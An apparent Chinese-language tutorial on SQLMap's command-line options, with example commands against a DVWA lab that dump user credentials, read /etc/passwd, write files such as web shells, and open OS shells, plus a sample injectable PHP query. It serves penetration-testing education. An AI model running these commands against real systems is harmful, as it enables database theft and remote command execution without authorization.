SQLMap 使用参数详解

SQLMap 是一款自动化的SQL注入测试工具,在 kali 上已集成

如果不想使用 kali 的话,可以从 github 上直接拉取开源项目

git clone https://github.com/sqlmapproject/sqlmap.git

注:最新版的 SQLMap 应该是支持 python3 的,但是如果 python3 无法使用的话可以试试切换成 python2 执行

常见参数

-h                  输出参数说明
-hh                 输出详细的参数说明
-v                  输出级别(0~6,默认1)
-u url              指定url
--data=DATA         该参数指定的数据会被作为POST数据提交
-r file.txt         常用于POST注入或表单提交时注入
-p / --skip         指定/跳过测试参数
--cookie            设置cookie
--force-ssl         强制使用SSL
--threads           指定线程并发数
--prefix            指定前缀
--suffix            指定后缀
--level             检测级别(1~5,默认1)
--risk              风险等级(1~4,默认1)
--all               列举所有可访问的数据(不推荐)
--banner            列举数据库系统的信息等
--current-user      输出当前用户
--current-db        输出当前所在数据库
--hostname          输出服务器主机名
--is-dba            检测当前用户是否为管理员
--users             输出数据库系统的所有用户
--dbs               输出数据库系统的所有数据库
-D DB               指定数据库
--tables            在-D情况下输出库中所有表名
-T table            在-D情况下指定数据表
--columns           在-D -T情况下输出表中所有列名
-C column           在-D -T情况下输出某列数据的值
--dump              拉取数据存放到本地
--dump-all          拉取所有可访问数据存放到本地
--count             输出数据条目数量
--search            搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query         执行任意的SQL语句
--sql-shell         使用交互式SQL语句执行环境
--flie-read         读取文件
--file-write        上传文件(指定本地路径)
--file-dest         上传文件(指定目标机器路径)
--os-cmd            执行任意系统命令
--os-shell          使用交互式shell执行命令
--batch             所有要求输入都选取默认值
--wizard            初学者向导

参数使用

-h & -hh

上述列举的常用参数只是 SQLMap 支持的众多功能的一部分。想要全面了解 sqlmap 所有参数的基础功能可以使用这两个命令,想了解其他参数具体使用场景可以参考官方手册

sqlmap官方手册

-v

输出信息等级,级别为 0~6(默认1),各个级别描述如下:

  • 0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
  • 1:同时显示普通信息[INFO]和警告信息[WARNING];
  • 2:同时显示调试信息[DEBUG];
  • 3:同时显示注入使用的攻击荷载;
  • 4:同时显示HTTP请求;
  • 5:同时显示HTTP响应头;
  • 6:同时显示HTTP响应体。

下图是级别6的输出
级别6

-u

-u或 --url指定一个 URL 作为扫描目标

sqlmap -u "http://127.0.0.1/admin.php?id=1"
sqlmap --url "http://127.0.0.1/admin.php?id=1"

请添加图片描述

–data

使用该参数可以让 SQLMap 以 POST 的方式发送数据

sqlmap -u "http://127.0.0.1/admin.php" --data="id=1"

请添加图片描述

-r requestFile

将一个 HTTP 请求保存在文件中,然后使用参数-r加载该文件,SQLMap 会解析该文件并发送请求

一般用于表单提交时的注入等发送数据复杂时的情况,常常与 BurpSuite 抓包同时使用

如下图为 BurpSuite 抓下的HTTP包,文件存入/root/test.txt
请添加图片描述
通过如下命令测试注入

sqlmap -r /root/test.txt

-p / --skip

-p用于指定需要测试的参数,且不受--level限制
若想只测试 GET 参数“id”和 User-Agent,则可以这么写:

-p "id,user-agent"

--skip用于指定不需要测试的参数
若不想测试 Referer 和 User-Agent,则可以这么写:

--level=5 --skip="user-agent,referer"

另,指定参数时还可以用 *,在参数上加 *-p效果相同,只不过 *还可以支持伪静态页面

比如:/user/1/这个伪静态页面,参数为1,则可以使用如下方法测试

sqlmap -u "http://127.0.0.1/user/1*/"

–cookie

一些 SQL 注入点需要通过登录获取 cookie 后才可访问,通过该参数可以设置 cookie

如下图为 DVWA 测试环境
请添加图片描述

但是想要进入该页面需要先登录,否则会直接重定向到登录页面
请添加图片描述

下图为 SQLMap 访问302
请添加图片描述

此时我们就需要登录后,将 cookie 取出加入--cookie参数中,方可成功注入
请添加图片描述
请添加图片描述
请添加图片描述

–force-ssl

强制使用 SSL,在测试 HTTPS 的网站时推荐使用该参数,可能会测出未加该参数时测不出的注入

–threads

用法如下:
sqlmap -u “http://127.0.0.1/admin.php?id=1” --threads 7
并发线程数为7进行注入测试

–prefix & --suffix

--prefix为指定前缀 --suffix为指定后缀
有时只有在 payload 后添加用户指定的后缀才能注入成功。另一种场景是用户已经知道查询语句怎么写的,此时可以直接指定 payload 的前缀和后缀来完成检测和注入

一个有漏洞的源码示例如下:

query = "SELECT * FROM users WHERE id=('" . $\_GET['id'] . "') LIMIT 0, 1";

对这样的例子可以让 SQLMap 自动检测边界范围也可以手动指出边界范围:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

最终SQL语句会变成:

SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1

这个句子语法是正确的,payload也能执行。

在简单的测试环境下 SQLMap 不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为 SQLMap 指明边界范围。

–level

检测级别,共有1~5共5级,默认为1

检测级别不仅会影响 payload 的使用,还会影响注入点的检测(GET 和 POST 参数是一直会被检测的)

以下是检测级别的特殊检测项

  • level >= 2时会检测cookie是否有注入
  • level >= 3时会检测User-Agent和Referer是否有注入
  • level >= 5时会检测Host是否存在注入漏洞
  • level设置还会影响union注入时检测的列数等

明确存在的注入漏洞检测不出来时建议先把检测级别调高试试

–risk

风险等级,共有1~4共四级,默认为1

不推荐使用 risk >= 3的风险等级,存在修改表数据的风险

因为风险等级2添加了基于时间的注入测试,等级3添加了 OR 测试。若注入点是在 UPDATE 语句中,使用 OR 测试可能会修改整个表的数据

–all

使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。

–banner

列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --banner

请添加图片描述

–current-user

该参数会将有可能将执行 SQL 语句的用户列举出来,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --current-user

请添加图片描述

–current-db

该参数可能将WEB应用连接的数据库名列举出来,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --current-db

请添加图片描述

–hostname

该参数可能将数据库管理系统所在的计算机主机名列举出来,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --hostname

请添加图片描述

–is-dba

该参数可以检测当前用户是否为 dba,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --is-dba

请添加图片描述

–users

当前用户有“读取包含了数据库管理系统中用户信息的系统表”的权限时使用这一参数可以列举数据库管理系统中的用户,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --users

请添加图片描述

–dbs

当前用户有“读取包含了数据库管理系统中可用数据库信息的系统表”的权限时使用这一参数可以列举数据库管理系统中所有数据库。命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --dbs

请添加图片描述

-D & --tables

联用这两个参数,用于输出某数据库中的所有表,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa --tables

请添加图片描述

-D & -T & --columns

联用这三个参数,用于输出某库中某表的所有列,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa -T users --columns

请添加图片描述

-D & -T & -C & --dump

联用这四个参数,用于输出某库中某表的某列里的所有数据,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa -T users -C user,password --dump

请添加图片描述

–dump-all

该参数可列举所有数据库所有表中所有数据,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --dump-all

–count

有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D dvwa --count

请添加图片描述

-D / -T / -C --search

可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。默认进行模糊搜索

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" -D a --search

请添加图片描述

–sql-query

使用该参数可以执行任意SQL语句,命令如下

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --sql-query "SELECT count(1) FROM dvwa.user"

请添加图片描述

–sql-shell

使用该参数可以开启交互式SQL语句执行环境

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --sql-shell

请添加图片描述

–file-read

使用该参数可以读取系统文件(仅当数据库管理系统是 MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有读取文件相关权限)

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --file-read "/etc/passwd"

–file-write & --file-dest

使用该参数可以上传文件到目标系统(一般用来写shell,仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有写入文件相关权限)

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --file-write "localpath" --file-dest "destpath"

–os-cmd

该参数可以通过 SQLMap 执行任意命令(仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有相关权限时)

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --os-cmd whoami

–os-shell

该参数可以通过 SQLMap 运行交互式 shell 来执行任意命令(限制条件同上)

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --os-shell

–batch

非交互式使用 SQLMap,所有的询问都选择默认,存在可能无法找到注入的问题

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --batch

请添加图片描述

–wizard

SQLMap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果

sqlmap -u "http://192.168.24.29/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=7e6a9duoeiig7tpeism8vejbr6;security=low" --wizard

请添加图片描述
请添加图片描述
请添加图片描述
请添加图片描述

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐